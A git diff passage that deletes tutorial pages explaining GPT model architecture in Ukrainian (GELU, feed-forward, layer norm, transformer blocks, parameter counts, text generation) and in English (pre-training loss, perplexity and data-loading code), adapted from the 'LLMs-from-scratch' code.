nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear( -cfg["emb_dim"], cfg["vocab_size"], bias=False -) - -def forward(self, in_idx): -batch_size, seq_len = in_idx.shape -tok_embeds = self.tok_emb(in_idx) -pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) -x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] -x = self.drop_emb(x) -x = self.trf_blocks(x) -x = self.final_norm(x) -logits = self.out_head(x) -return logits - -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -out = model(batch) -print("Input batch:\n", batch) -print("\nOutput shape:", out.shape) -print(out) -``` -### **Функція активації GELU** -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GELU(nn.Module): -def __init__(self): -super().__init__() - -def forward(self, x): -return 0.5 * x * (1 + torch.tanh( -torch.sqrt(torch.tensor(2.0 / torch.pi)) * -(x + 0.044715 * torch.pow(x, 3)) -)) -``` -#### **Мета та Функціональність** - -- **GELU (Гаусова Помилкова Лінійна Одиниця):** Активаційна функція, яка вводить нелінійність у модель. -- **Плавна Активація:** На відміну від ReLU, яка обнуляє негативні вхідні дані, GELU плавно відображає вхідні дані на виходи, дозволяючи невеликі, ненульові значення для негативних вхідних даних. -- **Математичне Визначення:** - -
- -> [!NOTE] -> Мета використання цієї функції після лінійних шарів всередині шару FeedForward полягає в тому, щоб змінити лінійні дані на нелінійні, щоб дозволити моделі вивчати складні, нелінійні зв'язки. - -### **FeedForward Нейронна Мережа** - -_Форми були додані як коментарі для кращого розуміння форм матриць:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class FeedForward(nn.Module): -def __init__(self, cfg): -super().__init__() -self.layers = nn.Sequential( -nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), -GELU(), -nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), -) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim) -x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim) -return x # Output shape: (batch_size, seq_len, emb_dim) -``` -#### **Мета та Функціональність** - -- **Позиційна FeedForward мережа:** Застосовує двошарову повністю з'єднану мережу до кожної позиції окремо та ідентично. -- **Деталі Шарів:** -- **Перший Лінійний Шар:** Розширює розмірність з `emb_dim` до `4 * emb_dim`. -- **Активація GELU:** Застосовує нелінійність. -- **Другий Лінійний Шар:** Зменшує розмірність назад до `emb_dim`. - -> [!NOTE] -> Як ви можете бачити, мережа Feed Forward використовує 3 шари. Перший - це лінійний шар, який множить розміри на 4, використовуючи лінійні ваги (параметри для навчання всередині моделі). Потім функція GELU використовується у всіх цих вимірах, щоб застосувати нелінійні варіації для захоплення багатших представлень, і нарешті ще один лінійний шар використовується для повернення до початкового розміру вимірів. - -### **Механізм Багатоголової Уваги** - -Це вже було пояснено в попередньому розділі. - -#### **Мета та Функціональність** - -- **Багатоголова Самоувага:** Дозволяє моделі зосереджуватися на різних позиціях у вхідній послідовності під час кодування токена. -- **Ключові Компоненти:** -- **Запити, Ключі, Значення:** Лінійні проекції вхідних даних, які використовуються для обчислення оцінок уваги. -- **Голови:** Кілька механізмів уваги, що працюють паралельно (`num_heads`), кожен з зменшеною розмірністю (`head_dim`). -- **Оцінки Уваги:** Обчислюються як скалярний добуток запитів і ключів, масштабованих і замаскованих. -- **Маскування:** Застосовується каузальна маска, щоб запобігти моделі звертатися до майбутніх токенів (важливо для авторегресивних моделей, таких як GPT). -- **Ваги Уваги:** Softmax замаскованих і масштабованих оцінок уваги. -- **Контекстний Вектор:** Вагова сума значень відповідно до ваг уваги. -- **Вихідна Проекція:** Лінійний шар для об'єднання виходів усіх голів. - -> [!NOTE] -> Мета цієї мережі - знайти відносини між токенами в одному контексті. Більше того, токени діляться на різні голови, щоб запобігти перенавчанню, хоча фінальні відносини, знайдені для кожної голови, об'єднуються в кінці цієї мережі. -> -> Більше того, під час навчання застосовується **каузальна маска**, щоб пізні токени не враховувалися при пошуку специфічних відносин до токена, і також застосовується деякий **dropout** для **запобігання перенавчанню**. - -### **Нормалізація** Шарів -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 # Prevent division by zero during normalization. -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift -``` -#### **Мета та Функціональність** - -- **Layer Normalization:** Техніка, що використовується для нормалізації вхідних даних по ознаках (виміри вбудовування) для кожного окремого прикладу в партії. -- **Компоненти:** -- **`eps`:** Маленька константа (`1e-5`), що додається до дисперсії, щоб запобігти діленню на нуль під час нормалізації. -- **`scale` та `shift`:** Навчальні параметри (`nn.Parameter`), які дозволяють моделі масштабувати та зміщувати нормалізований вихід. Вони ініціалізуються одиницями та нулями відповідно. -- **Процес Нормалізації:** -- **Обчислення Середнього (`mean`):** Обчислює середнє значення вхідного `x` по виміру вбудовування (`dim=-1`), зберігаючи вимір для трансляції (`keepdim=True`). -- **Обчислення Дисперсії (`var`):** Обчислює дисперсію `x` по виміру вбудовування, також зберігаючи вимір. Параметр `unbiased=False` забезпечує обчислення дисперсії за допомогою упередженого оцінювача (ділення на `N` замість `N-1`), що є доречним при нормалізації по ознаках, а не зразках. -- **Нормалізація (`norm_x`):** Від `x` віднімається середнє значення і ділиться на квадратний корінь з дисперсії плюс `eps`. -- **Масштабування та Зміщення:** Застосовує навчальні параметри `scale` та `shift` до нормалізованого виходу. - -> [!NOTE] -> Мета полягає в тому, щоб забезпечити середнє значення 0 з дисперсією 1 по всіх вимірах одного й того ж токена. Мета цього полягає в тому, щоб **стабілізувати навчання глибоких нейронних мереж**, зменшуючи внутрішній зсув коваріат, що відноситься до зміни розподілу активацій мережі через оновлення параметрів під час навчання. - -### **Блок Трансформера** - -_Форми були додані як коментарі для кращого розуміння форм матриць:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"] -) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for attention block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.att(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for feedforward block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.ff(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -return x # Output shape: (batch_size, seq_len, emb_dim) - -``` -#### **Мета та Функціональність** - -- **Складові Шарів:** Поєднує багатоголову увагу, мережу прямого проходження, нормалізацію шару та залишкові з'єднання. -- **Нормалізація Шару:** Застосовується перед шарами уваги та прямого проходження для стабільного навчання. -- **Залишкові З'єднання (Швидкі З'єднання):** Додають вхід шару до його виходу для покращення потоку градієнтів та можливості навчання глибоких мереж. -- **Випадкове Випадання:** Застосовується після шарів уваги та прямого проходження для регуляризації. - -#### **Покрокова Функціональність** - -1. **Перший Залишковий Шлях (Само-Увага):** -- **Вхід (`shortcut`):** Зберегти оригінальний вхід для залишкового з'єднання. -- **Нормалізація Шару (`norm1`):** Нормалізувати вхід. -- **Багатоголова Увага (`att`):** Застосувати само-увагу. -- **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання для регуляризації. -- **Додати Залишок (`x + shortcut`):** Поєднати з оригінальним входом. -2. **Другий Залишковий Шлях (Пряме Проходження):** -- **Вхід (`shortcut`):** Зберегти оновлений вхід для наступного залишкового з'єднання. -- **Нормалізація Шару (`norm2`):** Нормалізувати вхід. -- **Мережа Прямого Проходження (`ff`):** Застосувати трансформацію прямого проходження. -- **Випадкове Випадання (`drop_shortcut`):** Застосувати випадкове випадання. -- **Додати Залишок (`x + shortcut`):** Поєднати з входом з першого залишкового шляху. - -> [!NOTE] -> Блок трансформера групує всі мережі разом і застосовує деяку **нормалізацію** та **випадкові випадання** для покращення стабільності навчання та результатів.\ -> Зверніть увагу, як випадкові випадання виконуються після використання кожної мережі, тоді як нормалізація застосовується перед. -> -> Крім того, він також використовує швидкі з'єднання, які полягають у **додаванні виходу мережі до її входу**. Це допомагає запобігти проблемі зникнення градієнта, забезпечуючи, щоб початкові шари вносили "стільки ж", скільки останні. - -### **GPTModel** - -_Форми були додані як коментарі для кращого розуміння форм матриць:_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -# shape: (vocab_size, emb_dim) - -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -# shape: (context_length, emb_dim) - -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])] -) -# Stack of TransformerBlocks - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) -# shape: (emb_dim, vocab_size) - -def forward(self, in_idx): -# in_idx shape: (batch_size, seq_len) -batch_size, seq_len = in_idx.shape - -# Token embeddings -tok_embeds = self.tok_emb(in_idx) -# shape: (batch_size, seq_len, emb_dim) - -# Positional embeddings -pos_indices = torch.arange(seq_len, device=in_idx.device) -# shape: (seq_len,) -pos_embeds = self.pos_emb(pos_indices) -# shape: (seq_len, emb_dim) - -# Add token and positional embeddings -x = tok_embeds + pos_embeds # Broadcasting over batch dimension -# x shape: (batch_size, seq_len, emb_dim) - -x = self.drop_emb(x) # Dropout applied -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.trf_blocks(x) # Pass through Transformer blocks -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.final_norm(x) # Final LayerNorm -# x shape remains: (batch_size, seq_len, emb_dim) - -logits = self.out_head(x) # Project to vocabulary size -# logits shape: (batch_size, seq_len, vocab_size) - -return logits # Output shape: (batch_size, seq_len, vocab_size) -``` -#### **Мета та Функціональність** - -- **Embedding Layers:** -- **Token Embeddings (`tok_emb`):** Перетворює індекси токенів на embeddings. Нагадаємо, це ваги, які надаються кожному виміру кожного токена в словнику. -- **Positional Embeddings (`pos_emb`):** Додає позиційну інформацію до embeddings, щоб зафіксувати порядок токенів. Нагадаємо, це ваги, які надаються токену відповідно до його позиції в тексті. -- **Dropout (`drop_emb`):** Застосовується до embeddings для регуляризації. -- **Transformer Blocks (`trf_blocks`):** Стек з `n_layers` трансформерних блоків для обробки embeddings. -- **Final Normalization (`final_norm`):** Нормалізація шару перед вихідним шаром. -- **Output Layer (`out_head`):** Проектує фінальні приховані стани на розмір словника для отримання логітів для прогнозування. - -> [!NOTE] -> Мета цього класу полягає в тому, щоб використовувати всі інші згадані мережі для **прогнозування наступного токена в послідовності**, що є основоположним для завдань, таких як генерація тексту. -> -> Зверніть увагу, як він **використовуватиме стільки трансформерних блоків, скільки вказано**, і що кожен трансформерний блок використовує одну мережу з багатоголовим увагою, одну мережу прямого проходження та кілька нормалізацій. Тож якщо використовується 12 трансформерних блоків, помножте це на 12. -> -> Більше того, **шар нормалізації** додається **перед** **виходом**, а фінальний лінійний шар застосовується в кінці, щоб отримати результати з правильними розмірами. Зверніть увагу, що кожен фінальний вектор має розмір використаного словника. Це тому, що він намагається отримати ймовірність для кожного можливого токена в словнику. - -## Кількість параметрів для навчання - -Маючи визначену структуру GPT, можна дізнатися кількість параметрів для навчання: -```python -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -model = GPTModel(GPT_CONFIG_124M) -total_params = sum(p.numel() for p in model.parameters()) -print(f"Total number of parameters: {total_params:,}") -# Total number of parameters: 163,009,536 -``` -### **Покроковий розрахунок** - -#### **1. Вкладкові шари: Вкладення токенів та позиційне вкладення** - -- **Шар:** `nn.Embedding(vocab_size, emb_dim)` -- **Параметри:** `vocab_size * emb_dim` -```python -token_embedding_params = 50257 * 768 = 38,597,376 -``` -- **Шар:** `nn.Embedding(context_length, emb_dim)` -- **Параметри:** `context_length * emb_dim` -```python -position_embedding_params = 1024 * 768 = 786,432 -``` -**Загальна кількість параметрів вбудовування** -```python -embedding_params = token_embedding_params + position_embedding_params -embedding_params = 38,597,376 + 786,432 = 39,383,808 -``` -#### **2. Transformer Blocks** - -Є 12 блоків трансформера, тому ми розрахуємо параметри для одного блоку, а потім помножимо на 12. - -**Параметри на один блок трансформера** - -**a. Багатоголове увага** - -- **Компоненти:** -- **Лінійний шар запиту (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Лінійний шар ключа (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Лінійний шар значення (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Вихідна проекція (`out_proj`):** `nn.Linear(emb_dim, emb_dim)` -- **Розрахунки:** - -- **Кожен з `W_query`, `W_key`, `W_value`:** - -```python -qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 -``` - -Оскільки є три такі шари: - -```python -total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 -``` - -- **Вихідна проекція (`out_proj`):** - -```python -out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 -``` - -- **Загальна кількість параметрів багатоголового уваги:** - -```python -mha_params = total_qkv_params + out_proj_params -mha_params = 1,769,472 + 590,592 = 2,360,064 -``` - -**b. Мережа з прямим проходженням** - -- **Компоненти:** -- **Перший лінійний шар:** `nn.Linear(emb_dim, 4 * emb_dim)` -- **Другий лінійний шар:** `nn.Linear(4 * emb_dim, emb_dim)` -- **Розрахунки:** - -- **Перший лінійний шар:** - -```python -ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) -ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 -``` - -- **Другий лінійний шар:** - -```python -ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim -ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 -``` - -- **Загальна кількість параметрів мережі з прямим проходженням:** - -```python -ff_params = ff_first_layer_params + ff_second_layer_params -ff_params = 2,362,368 + 2,360,064 = 4,722,432 -``` - -**c. Нормалізації шару** - -- **Компоненти:** -- Два екземпляри `LayerNorm` на блок. -- Кожен `LayerNorm` має `2 * emb_dim` параметрів (масштаб і зсув). -- **Розрахунки:** - -```python -layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 -``` - -**d. Загальна кількість параметрів на один блок трансформера** -```python -pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block -params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 -``` -**Загальна кількість параметрів для всіх блоків трансформера** -```python -pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers -total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 -``` -#### **3. Остаточні шари** - -**a. Нормалізація остаточного шару** - -- **Параметри:** `2 * emb_dim` (масштаб і зсув) -```python -pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 -``` -**b. Шар виводу проекції (`out_head`)** - -- **Шар:** `nn.Linear(emb_dim, vocab_size, bias=False)` -- **Параметри:** `emb_dim * vocab_size` -```python -pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376 -``` -#### **4. Підсумування всіх параметрів** -```python -pythonCopy codetotal_params = ( -embedding_params + -total_transformer_blocks_params + -final_layer_norm_params + -output_projection_params -) -total_params = ( -39,383,808 + -85,026,816 + -1,536 + -38,597,376 -) -total_params = 163,009,536 -``` -## Генерація тексту - -Маючи модель, яка передбачає наступний токен, як і попередній, потрібно просто взяти значення останнього токена з виходу (оскільки вони будуть значеннями передбаченого токена), що буде **значенням на запис у словнику**, а потім використати функцію `softmax`, щоб нормалізувати виміри в ймовірності, які в сумі дорівнюють 1, а потім отримати індекс найбільшого запису, який буде індексом слова в словнику. - -Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): -```python -def generate_text_simple(model, idx, max_new_tokens, context_size): -# idx is (batch, n_tokens) array of indices in the current context -for _ in range(max_new_tokens): - -# Crop current context if it exceeds the supported context size -# E.g., if LLM supports only 5 tokens, and the context size is 10 -# then only the last 5 tokens are used as context -idx_cond = idx[:, -context_size:] - -# Get the predictions -with torch.no_grad(): -logits = model(idx_cond) - -# Focus only on the last time step -# (batch, n_tokens, vocab_size) becomes (batch, vocab_size) -logits = logits[:, -1, :] - -# Apply softmax to get probabilities -probas = torch.softmax(logits, dim=-1) # (batch, vocab_size) - -# Get the idx of the vocab entry with the highest probability value -idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1) - -# Append sampled index to the running sequence -idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1) - -return idx - - -start_context = "Hello, I am" - -encoded = tokenizer.encode(start_context) -print("encoded:", encoded) - -encoded_tensor = torch.tensor(encoded).unsqueeze(0) -print("encoded_tensor.shape:", encoded_tensor.shape) - -model.eval() # disable dropout - -out = generate_text_simple( -model=model, -idx=encoded_tensor, -max_new_tokens=6, -context_size=GPT_CONFIG_124M["context_length"] -) - -print("Output:", out) -print("Output length:", len(out[0])) -``` -## Посилання - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md deleted file mode 100644 index a9e0a9bb9..000000000 --- a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md +++ /dev/null @@ -1,970 +0,0 @@ -# 6. Pre-training & Loading models - -## Text Generation - -In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**. - -As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose. - -> [!TIP] -> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model. - -## Text Evaluation - -In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens. - -In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**. - -However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\ -Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize. - -Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0: - -

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

- -Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\ -For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one. - -## Pre-Train Example - -This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify - -
- -Previous code used here but already explained in previous sections - -```python -""" -This is code explained before so it won't be exaplained -""" - -import tiktoken -import torch -import torch.nn as nn -from torch.utils.data import Dataset, DataLoader - - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, num_workers=0): - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers) - - return dataloader - - -class MultiHeadAttention(nn.Module): - def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): - super().__init__() - assert d_out % num_heads == 0, "d_out must be divisible by n_heads" - - self.d_out = d_out - self.num_heads = num_heads - self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - - self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs - self.dropout = nn.Dropout(dropout) - self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - - def forward(self, x): - b, num_tokens, d_in = x.shape - - keys = self.W_key(x) # Shape: (b, num_tokens, d_out) - queries = self.W_query(x) - values = self.W_value(x) - - # We implicitly split the matrix by adding a `num_heads` dimension - # Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) - keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) - values = values.view(b, num_tokens, self.num_heads, self.head_dim) - queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - - # Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) - keys = keys.transpose(1, 2) - queries = queries.transpose(1, 2) - values = values.transpose(1, 2) - - # Compute scaled dot-product attention (aka self-attention) with a causal mask - attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - - # Original mask truncated to the number of tokens and converted to boolean - mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - - # Use the mask to fill attention scores - attn_scores.masked_fill_(mask_bool, -torch.inf) - - attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - attn_weights = self.dropout(attn_weights) - - # Shape: (b, num_tokens, num_heads, head_dim) - context_vec = (attn_weights @ values).transpose(1, 2) - - # Combine heads, where self.d_out = self.num_heads * self.head_dim - context_vec = context_vec.reshape(b, num_tokens, self.d_out) - context_vec = self.out_proj(context_vec) # optional projection - - return context_vec - - -class LayerNorm(nn.Module): - def __init__(self, emb_dim): - super().__init__() - self.eps = 1e-5 - self.scale = nn.Parameter(torch.ones(emb_dim)) - self.shift = nn.Parameter(torch.zeros(emb_dim)) - - def forward(self, x): - mean = x.mean(dim=-1, keepdim=True) - var = x.var(dim=-1, keepdim=True, unbiased=False) - norm_x = (x - mean) / torch.sqrt(var + self.eps) - return self.scale * norm_x + self.shift - - -class GELU(nn.Module): - def __init__(self): - super().__init__() - - def forward(self, x): - return 0.5 * x * (1 + torch.tanh( - torch.sqrt(torch.tensor(2.0 / torch.pi)) * - (x + 0.044715 * torch.pow(x, 3)) - )) - - -class FeedForward(nn.Module): - def __init__(self, cfg): - super().__init__() - self.layers = nn.Sequential( - nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), - GELU(), - nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), - ) - - def forward(self, x): - return self.layers(x) - - -class TransformerBlock(nn.Module): - def __init__(self, cfg): - super().__init__() - self.att = MultiHeadAttention( - d_in=cfg["emb_dim"], - d_out=cfg["emb_dim"], - context_length=cfg["context_length"], - num_heads=cfg["n_heads"], - dropout=cfg["drop_rate"], - qkv_bias=cfg["qkv_bias"]) - self.ff = FeedForward(cfg) - self.norm1 = LayerNorm(cfg["emb_dim"]) - self.norm2 = LayerNorm(cfg["emb_dim"]) - self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - - def forward(self, x): - # Shortcut connection for attention block - shortcut = x - x = self.norm1(x) - x = self.att(x) # Shape [batch_size, num_tokens, emb_size] - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - # Shortcut connection for feed-forward block - shortcut = x - x = self.norm2(x) - x = self.ff(x) - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - return x - - -class GPTModel(nn.Module): - def __init__(self, cfg): - super().__init__() - self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) - self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) - self.drop_emb = nn.Dropout(cfg["drop_rate"]) - - self.trf_blocks = nn.Sequential( - *[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - - self.final_norm = LayerNorm(cfg["emb_dim"]) - self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) - - def forward(self, in_idx): - batch_size, seq_len = in_idx.shape - tok_embeds = self.tok_emb(in_idx) - pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) - x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] - x = self.drop_emb(x) - x = self.trf_blocks(x) - x = self.final_norm(x) - logits = self.out_head(x) - return logits -``` - -
- -```python -# Download contents to train the data with -import os -import urllib.request - -file_path = "the-verdict.txt" -url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt" - -if not os.path.exists(file_path): - with urllib.request.urlopen(url) as response: - text_data = response.read().decode('utf-8') - with open(file_path, "w", encoding="utf-8") as file: - file.write(text_data) -else: - with open(file_path, "r", encoding="utf-8") as file: - text_data = file.read() - -total_characters = len(text_data) -tokenizer = tiktoken.get_encoding("gpt2") -total_tokens = len(tokenizer.encode(text_data)) - -print("Data downloaded") -print("Characters:", total_characters) -print("Tokens:", total_tokens) - -# Model initialization -GPT_CONFIG_124M = { - "vocab_size": 50257, # Vocabulary size - "context_length": 256, # Shortened context length (orig: 1024) - "emb_dim": 768, # Embedding dimension - "n_heads": 12, # Number of attention heads - "n_layers": 12, # Number of layers - "drop_rate": 0.1, # Dropout rate - "qkv_bias": False # Query-key-value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.eval() -print ("Model initialized") - - -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) - - - -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total 